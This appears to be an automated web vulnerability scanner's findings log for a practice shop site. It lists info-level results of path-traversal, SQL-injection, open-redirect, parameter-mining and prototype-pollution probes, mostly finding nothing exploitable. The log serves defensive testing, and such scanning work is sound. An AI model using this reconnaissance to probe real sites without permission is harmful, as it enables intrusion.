info	injection/traversal	`content` looks like a path but does not select one	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`content` looks like a path but does not select one	`https://sekumart.sekuripy.hr/catalog.php?next=1…`
info	injection/traversal	`content` looks like a path but does not select one	`https://sekumart.sekuripy.hr/cart.php?next=1…`
info	injection/traversal	`content` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`content` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/catalog.php?next=1…`
info	injection/traversal	`content` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/cart.php?next=1…`
info	injection/traversal	`dir` looks like a path but does not select one	`https://sekumart.sekuripy.hr/cart.php?data=1…`
info	injection/traversal	`dir` looks like a path but does not select one	`https://sekumart.sekuripy.hr/catalog.php?data=1…`
info	injection/traversal	`dir` looks like a path but does not select one	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`dir` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/cart.php?data=1…`
info	injection/traversal	`dir` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/catalog.php?data=1…`
info	injection/traversal	`dir` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`download` looks like a path but does not select one	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`download` looks like a path but does not select one	`https://sekumart.sekuripy.hr/catalog.php?templat…`
info	injection/traversal	`download` looks like a path but does not select one	`https://sekumart.sekuripy.hr/cart.php?template=1…`
info	injection/traversal	`download` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`download` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/catalog.php?templat…`
info	injection/traversal	`download` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/cart.php?template=1…`
info	injection/traversal	`fileName` looks like a path but does not select one	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`fileName` looks like a path but does not select one	`https://sekumart.sekuripy.hr/cart.php?fileName=1…`
info	injection/traversal	`fileName` looks like a path but does not select one	`https://sekumart.sekuripy.hr/catalog.php?fileNam…`
info	injection/traversal	`fileName` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`fileName` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/cart.php?fileName=1…`
info	injection/traversal	`fileName` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/catalog.php?fileNam…`
info	injection/traversal	`file` looks like a path but does not select one	`https://sekumart.sekuripy.hr/catalog.php?callbac…`
info	injection/traversal	`file` looks like a path but does not select one	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`file` looks like a path but does not select one	`https://sekumart.sekuripy.hr/cart.php?callback=1…`
info	injection/traversal	`file` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/image.php?file=asse…`
info	injection/traversal	`file` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/catalog.php?callbac…`
info	injection/traversal	`file` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`file` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/cart.php?callback=1…`
info	injection/traversal	`filename` looks like a path but does not select one	`https://sekumart.sekuripy.hr/catalog.php?callbac…`
info	injection/traversal	`filename` looks like a path but does not select one	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`filename` looks like a path but does not select one	`https://sekumart.sekuripy.hr/cart.php?callback=1…`
info	injection/traversal	`filename` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/catalog.php?callbac…`
info	injection/traversal	`filename` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`filename` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/cart.php?callback=1…`
info	injection/nosqli	`id` accepts array syntax and reaches a SQL back-end	`https://sekumart.sekuripy.hr/apiv1.php`
info	injection/traversal	`include` looks like a path but does not select one	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`include` looks like a path but does not select one	`https://sekumart.sekuripy.hr/catalog.php?templat…`
info	injection/traversal	`include` looks like a path but does not select one	`https://sekumart.sekuripy.hr/cart.php?template=1…`
info	injection/traversal	`include` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`include` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/catalog.php?templat…`
info	injection/traversal	`include` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/cart.php?template=1…`
info	injection/traversal	`lang` looks like a path but does not select one	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`lang` looks like a path but does not select one	`https://sekumart.sekuripy.hr/catalog.php?data=1…`
info	injection/traversal	`lang` looks like a path but does not select one	`https://sekumart.sekuripy.hr/cart.php?data=1…`
info	injection/traversal	`lang` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`lang` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/catalog.php?data=1…`
info	injection/traversal	`lang` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/cart.php?data=1…`
info	injection/traversal	`load` looks like a path but does not select one	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`load` looks like a path but does not select one	`https://sekumart.sekuripy.hr/catalog.php?host=1…`
info	injection/traversal	`load` looks like a path but does not select one	`https://sekumart.sekuripy.hr/cart.php?host=1&ip=…`
info	injection/traversal	`load` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`load` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/catalog.php?host=1…`
info	injection/traversal	`load` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/cart.php?host=1&ip=…`
info	injection/traversal	`page` looks like a path but does not select one	`https://sekumart.sekuripy.hr/cart.php?callback=1…`
info	injection/traversal	`page` looks like a path but does not select one	`https://sekumart.sekuripy.hr/catalog.php?callbac…`
info	injection/traversal	`page` looks like a path but does not select one	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`page` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/cart.php?callback=1…`
info	injection/traversal	`page` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/catalog.php?callbac…`
info	injection/traversal	`page` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`path` looks like a path but does not select one	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`path` looks like a path but does not select one	`https://sekumart.sekuripy.hr/cart.php?fileName=1…`
info	injection/traversal	`path` looks like a path but does not select one	`https://sekumart.sekuripy.hr/catalog.php?fileNam…`
info	injection/traversal	`path` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`path` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/cart.php?fileName=1…`
info	injection/traversal	`path` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/catalog.php?fileNam…`
info	injection/nosqli	`q` accepts array syntax and reaches a SQL back-end	`https://sekumart.sekuripy.hr/search.php?q=sks`
info	injection/nosqli	`q` accepts array syntax and reaches a SQL back-end	`https://sekumart.sekuripy.hr/directory.php?q=Ada…`
info	injection/traversal	`src` looks like a path but does not select one	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`src` looks like a path but does not select one	`https://sekumart.sekuripy.hr/catalog.php?data=1…`
info	injection/traversal	`src` looks like a path but does not select one	`https://sekumart.sekuripy.hr/cart.php?data=1…`
info	injection/traversal	`src` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`src` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/catalog.php?data=1…`
info	injection/traversal	`src` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/cart.php?data=1…`
info	injection/traversal	`target` looks like a path but does not select one	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`target` looks like a path but does not select one	`https://sekumart.sekuripy.hr/cart.php?next=1…`
info	injection/traversal	`target` looks like a path but does not select one	`https://sekumart.sekuripy.hr/catalog.php?next=1…`
info	injection/traversal	`target` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`target` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/cart.php?next=1…`
info	injection/traversal	`target` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/catalog.php?next=1…`
info	injection/traversal	`template` looks like a path but does not select one	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`template` looks like a path but does not select one	`https://sekumart.sekuripy.hr/cart.php?template=1…`
info	injection/traversal	`template` looks like a path but does not select one	`https://sekumart.sekuripy.hr/catalog.php?templat…`
info	injection/traversal	`template` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`template` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/cart.php?template=1…`
info	injection/traversal	`template` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/catalog.php?templat…`
info	injection/traversal	`view` looks like a path but does not select one	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`view` looks like a path but does not select one	`https://sekumart.sekuripy.hr/cart.php?data=1…`
info	injection/traversal	`view` looks like a path but does not select one	`https://sekumart.sekuripy.hr/catalog.php?data=1…`
info	injection/traversal	`view` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/traversal	`view` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/cart.php?data=1…`
info	injection/traversal	`view` reaches a resolver, but no escape was reached	`https://sekumart.sekuripy.hr/catalog.php?data=1…`
info	recon/hygiene	No CAA record restricts certificate issuance	`https://sekumart.sekuripy.hr/`
info	recon/hygiene	No security.txt published	`https://sekumart.sekuripy.hr/.well-known/securit…`
info	recon/param_mining	Undeclared parameter accepted by /cart.php	`https://sekumart.sekuripy.hr/cart.php`
info	recon/param_mining	Undeclared parameter accepted by /cart.php	`https://sekumart.sekuripy.hr/cart.php`
info	recon/param_mining	Undeclared parameter accepted by /cart.php	`https://sekumart.sekuripy.hr/cart.php`
info	recon/param_mining	Undeclared parameter accepted by /cart.php	`https://sekumart.sekuripy.hr/cart.php`
info	recon/param_mining	Undeclared parameter accepted by /cart.php	`https://sekumart.sekuripy.hr/cart.php`
info	recon/param_mining	Undeclared parameter accepted by /cart.php	`https://sekumart.sekuripy.hr/cart.php`
info	recon/param_mining	Undeclared parameter accepted by /cart.php	`https://sekumart.sekuripy.hr/cart.php`
info	recon/param_mining	Undeclared parameter accepted by /cart.php	`https://sekumart.sekuripy.hr/cart.php`
info	recon/param_mining	Undeclared parameter accepted by /cart.php	`https://sekumart.sekuripy.hr/cart.php`
info	recon/param_mining	Undeclared parameter accepted by /cart.php	`https://sekumart.sekuripy.hr/cart.php`
info	recon/param_mining	Undeclared parameter accepted by /cart.php	`https://sekumart.sekuripy.hr/cart.php`
info	recon/param_mining	Undeclared parameter accepted by /catalog.php	`https://sekumart.sekuripy.hr/catalog.php`
info	recon/param_mining	Undeclared parameter accepted by /catalog.php	`https://sekumart.sekuripy.hr/catalog.php`
info	recon/param_mining	Undeclared parameter accepted by /catalog.php	`https://sekumart.sekuripy.hr/catalog.php`
info	recon/param_mining	Undeclared parameter accepted by /catalog.php	`https://sekumart.sekuripy.hr/catalog.php`
info	recon/param_mining	Undeclared parameter accepted by /catalog.php	`https://sekumart.sekuripy.hr/catalog.php`
info	recon/param_mining	Undeclared parameter accepted by /catalog.php	`https://sekumart.sekuripy.hr/catalog.php`
info	recon/param_mining	Undeclared parameter accepted by /catalog.php	`https://sekumart.sekuripy.hr/catalog.php`
info	recon/param_mining	Undeclared parameter accepted by /catalog.php	`https://sekumart.sekuripy.hr/catalog.php`
info	recon/param_mining	Undeclared parameter accepted by /catalog.php	`https://sekumart.sekuripy.hr/catalog.php`
info	recon/param_mining	Undeclared parameter accepted by /product.php	`https://sekumart.sekuripy.hr/product.php`
info	recon/param_mining	Undeclared parameter accepted by /search.php	`https://sekumart.sekuripy.hr/search.php`
info	recon/param_mining	Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/param_mining	Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/param_mining	Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/param_mining	Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/param_mining	Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/param_mining	Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/param_mining	Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/param_mining	Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/param_mining	Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/param_mining	Undeclared parameter accepted by /track.php	`https://sekumart.sekuripy.hr/track.php`
info	runtime/errors	Console error	`/source/`
info	runtime/errors	Navigation failure on /go.php	`/go.php`
info	runtime/errors	Navigation failure on /go.php	`/go.php`
info	access-control/open_redirect	Redirect destination rewritten for `url`	`https://sekumart.sekuripy.hr/go.php?url=sekuscan…`
info	access-control/open_redirect	Redirect destination rewritten for `url`	`https://sekumart.sekuripy.hr/go.php?url=%40sekus…`
info	access-control/open_redirect	Redirect parameter observed in link: `dest`	`https://sekumart.sekuripy.hr/catalog.php?next=1…`
info	access-control/open_redirect	Redirect parameter observed in link: `dest`	`https://sekumart.sekuripy.hr/cart.php?next=1…`
info	access-control/open_redirect	Redirect parameter observed in link: `dest`	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	access-control/open_redirect	Redirect parameter observed in link: `next`	`https://sekumart.sekuripy.hr/catalog.php?next=1…`
info	access-control/open_redirect	Redirect parameter observed in link: `next`	`https://sekumart.sekuripy.hr/cart.php?next=1…`
info	access-control/open_redirect	Redirect parameter observed in link: `next`	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	access-control/open_redirect	Redirect parameter observed in link: `redirect`	`https://sekumart.sekuripy.hr/catalog.php?data=1…`
info	access-control/open_redirect	Redirect parameter observed in link: `redirect`	`https://sekumart.sekuripy.hr/cart.php?data=1…`
info	access-control/open_redirect	Redirect parameter observed in link: `redirect`	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	access-control/open_redirect	Redirect parameter observed in link: `returnTo`	`https://sekumart.sekuripy.hr/catalog.php?data=1…`
info	access-control/open_redirect	Redirect parameter observed in link: `returnTo`	`https://sekumart.sekuripy.hr/cart.php?data=1…`
info	access-control/open_redirect	Redirect parameter observed in link: `returnTo`	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	access-control/open_redirect	Redirect parameter observed in link: `return_url`	`https://sekumart.sekuripy.hr/catalog.php?data=1…`
info	access-control/open_redirect	Redirect parameter observed in link: `return_url`	`https://sekumart.sekuripy.hr/cart.php?data=1…`
info	access-control/open_redirect	Redirect parameter observed in link: `return_url`	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	access-control/open_redirect	Redirect parameter observed in link: `target`	`https://sekumart.sekuripy.hr/catalog.php?next=1…`
info	access-control/open_redirect	Redirect parameter observed in link: `target`	`https://sekumart.sekuripy.hr/cart.php?next=1…`
info	access-control/open_redirect	Redirect parameter observed in link: `target`	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	access-control/open_redirect	Redirect parameter observed in link: `url`	`/go.php?url=/`
info	access-control/open_redirect	Redirect parameter observed in link: `url`	`https://sekumart.sekuripy.hr/catalog.php?callbac…`
info	access-control/open_redirect	Redirect parameter observed in link: `url`	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	access-control/open_redirect	Redirect parameter observed in link: `url`	`https://sekumart.sekuripy.hr/cart.php?callback=1…`
info	injection/graphql	GraphQL endpoint discovered	`https://sekumart.sekuripy.hr/graphql`
info	injection/xss	Parameter `curr` is reflected but encoded/harmless
info	injection/xss	Parameter `order` is reflected but encoded/harmless	`https://sekumart.sekuripy.hr/track.php?order=SK-…`
info	injection/xss	Parameter `q` is reflected but encoded/harmless	`https://sekumart.sekuripy.hr/directory.php?q=Ada…`
info	injection/xss	Parameter `sort` is reflected but encoded/harmless	`https://sekumart.sekuripy.hr/catalog.php?sort=id…`
info	injection/xss	Parameter `user` is reflected but encoded/harmless	`https://sekumart.sekuripy.hr/members.php?user=ad…`
info	injection/sqli	`author` does not appear to affect the response	`https://sekumart.sekuripy.hr/reviews.php`
info	injection/sqli	`author` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?p=1…`
info	injection/sqli	`author` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?author=685`
info	injection/sqli	`author` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`body` does not appear to affect the response	`https://sekumart.sekuripy.hr/reviews.php`
info	injection/sqli	`body` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?p=1…`
info	injection/sqli	`body` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?body=685`
info	injection/sqli	`body` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`callback` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`callback` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?callbac…`
info	injection/sqli	`callback` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?callback=6…`
info	injection/sqli	`cat` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`cat` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?c=1&l=1…`
info	injection/sqli	`checkout` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php`
info	injection/sqli	`code` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`code` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?template=1…`
info	injection/sqli	`code` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?templat…`
info	injection/sqli	`comment` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`comment` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?next=1…`
info	injection/sqli	`comment` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?next=1…`
info	injection/sqli	`content` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`content` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?next=1…`
info	injection/sqli	`content` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?next=1…`
info	injection/sqli	`curr` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php`
info	injection/sqli	`dest` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?next=1…`
info	injection/sqli	`dest` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?next=1…`
info	injection/sqli	`dest` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`fileName` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`fileName` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?fileName=6…`
info	injection/sqli	`fileName` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?fileNam…`
info	injection/sqli	`filename` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?callbac…`
info	injection/sqli	`filename` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`filename` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?callback=1…`
info	injection/sqli	`id` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`id` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?c=1&l=1…`
info	injection/sqli	`id` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`key` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?fileNam…`
info	injection/sqli	`key` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`key` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?fileName=1…`
info	injection/sqli	`message` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?next=1…`
info	injection/sqli	`message` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?next=1…`
info	injection/sqli	`message` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`name` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`name` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?callback=1…`
info	injection/sqli	`name` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?callbac…`
info	injection/sqli	`next` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?next=685…`
info	injection/sqli	`next` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`next` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?next=68…`
info	injection/sqli	`order` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?c=1&l=1…`
info	injection/sqli	`order` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`page` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?callback=1…`
info	injection/sqli	`page` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?callbac…`
info	injection/sqli	`page` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`product_id` does not appear to affect the response	`https://sekumart.sekuripy.hr/reviews.php`
info	injection/sqli	`product_id` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?p=1…`
info	injection/sqli	`product_id` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`product_id` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?product_id…`
info	injection/sqli	`q` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`q` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?c=1&l=1…`
info	injection/sqli	`q` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`query` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?callback=1…`
info	injection/sqli	`query` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`query` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?callbac…`
info	injection/sqli	`redirect` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?data=1…`
info	injection/sqli	`redirect` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`redirect` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?data=1…`
info	injection/sqli	`returnTo` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?data=1…`
info	injection/sqli	`returnTo` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`returnTo` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?data=1…`
info	injection/sqli	`search` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?callbac…`
info	injection/sqli	`search` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?callback=1…`
info	injection/sqli	`search` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`sort` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`target` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`target` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?next=1…`
info	injection/sqli	`target` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?next=1…`
info	injection/sqli	`template` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`template` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?template=6…`
info	injection/sqli	`template` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?templat…`
info	injection/sqli	`text` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`text` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?next=1…`
info	injection/sqli	`text` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?next=1…`
info	injection/sqli	`title` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?next=1…`
info	injection/sqli	`title` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`title` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?next=1…`
info	injection/sqli	`url` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?callbac…`
info	injection/sqli	`url` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`url` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?callback=1…`
info	injection/sqli	`user` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`user` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?c=1&l=1…`
info	injection/sqli	`user` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`username` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	injection/sqli	`username` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?p=1…`
info	injection/sqli	`value` does not appear to affect the response	`https://sekumart.sekuripy.hr/catalog.php?fileNam…`
info	injection/sqli	`value` does not appear to affect the response	`https://sekumart.sekuripy.hr/cart.php?fileName=1…`
info	injection/sqli	`value` does not appear to affect the response	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`action` showed no quiet differential - no injection family sche…	`https://sekumart.sekuripy.hr/cart.php?fileName=1…`
info	recon/triage	`action` showed no quiet differential - no injection family sche…	`https://sekumart.sekuripy.hr/catalog.php?fileNam…`
info	recon/triage	`action` showed no quiet differential - no injection family sche…	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`add` showed no quiet differential - no injection family schedul…	`https://sekumart.sekuripy.hr/cart.php`
info	recon/triage	`add` showed no quiet differential - no injection family schedul…	`https://sekumart.sekuripy.hr/catalog.php?p=1…`
info	recon/triage	`add` showed no quiet differential - no injection family schedul…	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`c` showed no quiet differential - no injection family scheduled	`https://sekumart.sekuripy.hr/catalog.php?c=1&l=1…`
info	recon/triage	`c` showed no quiet differential - no injection family scheduled	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`code` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/cart.php`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/var/www/html/source…`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/var/www/html/cart.p…`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/help.php`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/var/www/html/config…`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/login.php`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/sksbuzqq4`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/account.php?__proto…`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/apiv1.php?__proto__…`
